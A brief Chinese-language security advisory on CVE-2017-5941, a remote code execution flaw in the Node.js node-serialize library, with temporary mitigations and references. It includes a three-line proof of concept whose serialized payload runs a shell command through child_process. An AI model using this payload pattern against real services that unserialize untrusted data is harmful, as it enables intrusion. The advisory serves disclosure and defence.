漏洞编号:CVE-2017-5941
漏洞描述: Node.js存在反序列化远程代码执行漏洞,Node.js的node-serialize库中存在一个漏洞,该漏洞通过传输JavaScript IIFE,利用恶意代码(未信任数据)达到反序列化远程任意代码执行的效果。并且Nodejs服务端必须存在接收序列化的数据接口。
漏洞类型: 反序列化远程代码执行漏洞 危险等级: 高级 利用条件: 系统存在Node.js,并且存在node-serialize库 受影响系统: 暂无补丁,Node.js全版本受影响
- var serialize = require('node-serialize');
- var payload = '{"rce":"_$ND_FUNC$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
- serialize.unserialize(payload);
复制代码
厂商尚未提供漏洞修补方案,请关注厂商主页及时更新:https://github.com/luin/serialize
临时解决方案: 1. 修改/node_modules/node-serialize/lib/serialize.js中的FUNCFLAG值为随机值并保证该值不被泄漏。 2. 确保Serialize字符串仅内部发送 3. 使用公钥(RAS)加密Serialize字符串,确保字符串不被篡改。
参考链接 1. https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/ 2. https://github.com/luin/serialize
|